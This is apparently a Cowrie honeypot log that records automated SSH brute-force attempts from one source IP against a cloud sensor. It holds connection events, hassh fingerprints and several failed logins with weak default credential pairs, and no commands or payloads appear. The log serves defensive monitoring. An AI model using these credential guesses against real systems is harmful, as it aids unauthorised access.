{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:20:13.758820Z","src_ip":"45.156.87.254","session":"fbb11fc8113a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.48248505592346,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:20:17.393474Z","src_ip":"20.123.41.163","session":"c7a46bf92f5c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":34038,"dst_ip":"159.203.135.109","dst_port":22,"session":"c308a0af1156","protocol":"ssh","message":"New connection: 45.156.87.254:34038 (159.203.135.109:22) [session: c308a0af1156]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:20:17.738336Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:20:17.750509Z","src_ip":"45.156.87.254","session":"c308a0af1156","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:20:17.841852Z","src_ip":"45.156.87.254","session":"c308a0af1156","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"123456","message":"login attempt [user2/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:20:18.105850Z","src_ip":"45.156.87.254","session":"c308a0af1156","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:20:19.191276Z","src_ip":"45.156.87.254","session":"c308a0af1156","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":55912,"dst_ip":"159.203.135.109","dst_port":22,"session":"f62a0bda9657","protocol":"ssh","message":"New connection: 45.156.87.254:55912 (159.203.135.109:22) [session: f62a0bda9657]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:20:22.495354Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:20:22.507150Z","src_ip":"45.156.87.254","session":"f62a0bda9657","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:20:22.591392Z","src_ip":"45.156.87.254","session":"f62a0bda9657","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"sonar","message":"login attempt [sonar/sonar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:20:22.853121Z","src_ip":"45.156.87.254","session":"f62a0bda9657","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:20:23.942848Z","src_ip":"45.156.87.254","session":"f62a0bda9657","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":55922,"dst_ip":"159.203.135.109","dst_port":22,"session":"76a707f4a73d","protocol":"ssh","message":"New connection: 45.156.87.254:55922 (159.203.135.109:22) [session: 76a707f4a73d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:20:27.420377Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:20:27.425789Z","src_ip":"45.156.87.254","session":"76a707f4a73d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:20:27.516619Z","src_ip":"45.156.87.254","session":"76a707f4a73d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rock","password":"rock","message":"login attempt [rock/rock] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:20:27.902797Z","src_ip":"45.156.87.254","session":"76a707f4a73d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:20:29.002450Z","src_ip":"45.156.87.254","session":"76a707f4a73d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":45048,"dst_ip":"159.203.135.109","dst_port":22,"session":"ac6ef6c322c7","protocol":"ssh","message":"New connection: 45.156.87.254:45048 (159.203.135.109:22) [session: ac6ef6c322c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:20:32.286144Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:20:32.291224Z","src_ip":"45.156.87.254","session":"ac6ef6c322c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:20:32.379345Z","src_ip":"45.156.87.254","session":"ac6ef6c322c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mohammad","password":"mohammad","message":"login attempt [mohammad/mohammad] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:20:32.644246Z","src_ip":"45.156.87.254","session":"ac6ef6c322c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:20:33.731112Z","src_ip":"45.156.87.254","session":"ac6ef6c322c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":45060,"dst_ip":"159.203.135.109","dst_port":22,"session":"03f408d3fd9c","protocol":"ssh","message":"New connection: 45.156.87.254:45060 (159.203.135.109:22) [session: 03f408d3fd9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:20:37.563456Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:20:37.607195Z","src_ip":"45.156.87.254","session":"03f408d3fd9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:20:37.655872Z","src_ip":"45.156.87.254","session":"03f408d3fd9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mc","password":"mc","message":"login attempt [mc/mc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:20:37.984598Z","src_ip":"45.156.87.254","session":"03f408d3fd9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:20:39.076714Z","src_ip":"45.156.87.254","session":"03f408d3fd9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":38690,"dst_ip":"159.203.135.109","dst_port":22,"session":"27e562399cb4","protocol":"ssh","message":"New connection: 45.156.87.254:38690 (159.203.135.109:22) [session: 27e562399cb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:20:42.629871Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:20:42.636526Z","src_ip":"45.156.87.254","session":"27e562399cb4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:20:42.719583Z","src_ip":"45.156.87.254","session":"27e562399cb4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpUser","password":"ftpUser","message":"login attempt [ftpUser/ftpUser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:20:42.972593Z","src_ip":"45.156.87.254","session":"27e562399cb4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:20:44.097813Z","src_ip":"45.156.87.254","session":"27e562399cb4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":38694,"dst_ip":"159.203.135.109","dst_port":22,"session":"1d303eac81bc","protocol":"ssh","message":"New connection: 45.156.87.254:38694 (159.203.135.109:22) [session: 1d303eac81bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:20:47.374315Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:20:47.379550Z","src_ip":"45.156.87.254","session":"1d303eac81bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:20:47.467637Z","src_ip":"45.156.87.254","session":"1d303eac81bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456","message":"login attempt [root/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:20:47.719386Z","src_ip":"45.156.87.254","session":"1d303eac81bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":41320,"dst_ip":"10.17.0.5","dst_port":23,"session":"d81ff1f57c5e","protocol":"telnet","message":"New connection: 20.123.41.163:41320 (10.17.0.5:23) [session: d81ff1f57c5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:20:48.271031Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:20:48.805239Z","src_ip":"45.156.87.254","session":"1d303eac81bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":50156,"dst_ip":"159.203.135.109","dst_port":22,"session":"03126b267782","protocol":"ssh","message":"New connection: 45.156.87.254:50156 (159.203.135.109:22) [session: 03126b267782]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:20:52.700637Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:20:52.705671Z","src_ip":"45.156.87.254","session":"03126b267782","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:20:52.801181Z","src_ip":"45.156.87.254","session":"03126b267782","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"openclaw","message":"login attempt [openclaw/openclaw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:20:53.196038Z","src_ip":"45.156.87.254","session":"03126b267782","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:20:54.283766Z","src_ip":"45.156.87.254","session":"03126b267782","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":50162,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc20e82299f9","protocol":"ssh","message":"New connection: 45.156.87.254:50162 (159.203.135.109:22) [session: cc20e82299f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:20:57.453644Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:20:57.458573Z","src_ip":"45.156.87.254","session":"cc20e82299f9","protocol":"ssh"}
